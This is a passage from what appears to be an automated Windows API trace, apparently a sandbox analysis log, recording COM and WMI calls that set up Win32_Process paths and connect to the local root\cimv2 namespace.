Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.706] WbemDefPath:IUnknown:Release (This=0x1bbf1660) returned 0x3 [0132.706] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0132.707] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0132.707] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0132.707] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x2 [0132.707] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x1 [0132.707] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0132.707] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0132.707] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbc01e0) returned 0x0 [0132.707] WbemDefPath:IUnknown:AddRef (This=0x1bbc01e0) returned 0x3 [0132.707] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x2 [0132.707] WbemDefPath:IWbemPath:SetText (This=0x1bbc01e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0132.707] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc01e0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0132.707] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc01e0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0132.707] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc01e0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0132.707] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc01e0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0132.707] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc01e0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0132.708] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc01e0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0132.708] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0132.708] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0132.708] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0132.708] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.710] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbf16a0) returned 0x0 [0132.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf16a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0132.711] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf16a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbc02a0) returned 0x0 [0132.711] WbemDefPath:IUnknown:Release (This=0x1bbf16a0) returned 0x0 [0132.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbc02a0) returned 0x0 [0132.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0132.711] WbemDefPath:IUnknown:AddRef (This=0x1bbc02a0) returned 0x3 [0132.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0132.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0132.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbf16e0) returned 0x0 [0132.712] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf16e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.712] WbemDefPath:IUnknown:Release (This=0x1bbf16e0) returned 0x3 [0132.712] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0132.712] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0132.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0132.712] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x2 [0132.712] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x1 [0132.712] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0132.712] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0132.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbc02a0) returned 0x0 [0132.712] WbemDefPath:IUnknown:AddRef (This=0x1bbc02a0) returned 0x3 [0132.713] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x2 [0132.713] WbemDefPath:IWbemPath:SetText (This=0x1bbc02a0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc02a0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc02a0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc02a0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc02a0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc02a0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc02a0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc02a0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0132.713] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.713] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0132.713] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0132.713] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0132.714] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.716] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbf1720) returned 0x0 [0132.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1720, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0132.716] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1720, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bbc0360) returned 0x0 [0132.716] WbemDefPath:IUnknown:Release (This=0x1bbf1720) returned 0x0 [0132.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bbc0360) returned 0x0 [0132.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0132.716] WbemDefPath:IUnknown:AddRef (This=0x1bbc0360) returned 0x3 [0132.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0132.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0132.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbf1760) returned 0x0 [0132.717] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.717] WbemDefPath:IUnknown:Release (This=0x1bbf1760) returned 0x3 [0132.717] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0132.717] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0132.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0132.717] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x2 [0132.717] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x1 [0132.717] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0132.717] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0132.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bbc0360) returned 0x0 [0132.717] WbemDefPath:IUnknown:AddRef (This=0x1bbc0360) returned 0x3 [0132.718] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x2 [0132.718] WbemDefPath:IWbemPath:SetText (This=0x1bbc0360, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0132.718] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0360, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0132.718] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0132.718] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.718] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0132.718] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0132.718] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0132.718] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.719] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbf1860) returned 0x0 [0132.719] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1860, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0132.719] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbf1860, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbf1880) returned 0x0 [0132.719] WbemLocator:IUnknown:Release (This=0x1bbf1860) returned 0x0 [0132.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1880, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbf1880) returned 0x0 [0132.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1880, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0132.720] WbemLocator:IUnknown:AddRef (This=0x1bbf1880) returned 0x3 [0132.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1880, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0132.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1880, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0132.720] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1880, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0132.720] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0132.720] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0132.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1880, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0132.721] WbemLocator:IUnknown:Release (This=0x1bbf1880) returned 0x2 [0132.721] WbemLocator:IUnknown:Release (This=0x1bbf1880) returned 0x1 [0132.721] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0132.721] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0132.721] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1880, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbf1880) returned 0x0 [0132.721] WbemLocator:IUnknown:AddRef (This=0x1bbf1880) returned 0x3 [0132.721] WbemLocator:IUnknown:Release (This=0x1bbf1880) returned 0x2 [0132.721] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0360, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0132.721] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0132.721] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.721] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbf18a0) returned 0x0 [0132.721] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbf18a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbda9a0) returned 0x0 [0132.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda9a0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa036a0) returned 0x0 [0132.862] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa036a0, pProxy=0x1bbda9a0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0132.862] WbemLocator:IUnknown:Release (This=0x1aa036a0) returned 0x1 [0132.863] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda9a0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa036e0) returned 0x0 [0132.863] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda9a0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa036a0) returned 0x0 [0132.863] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa036a0, 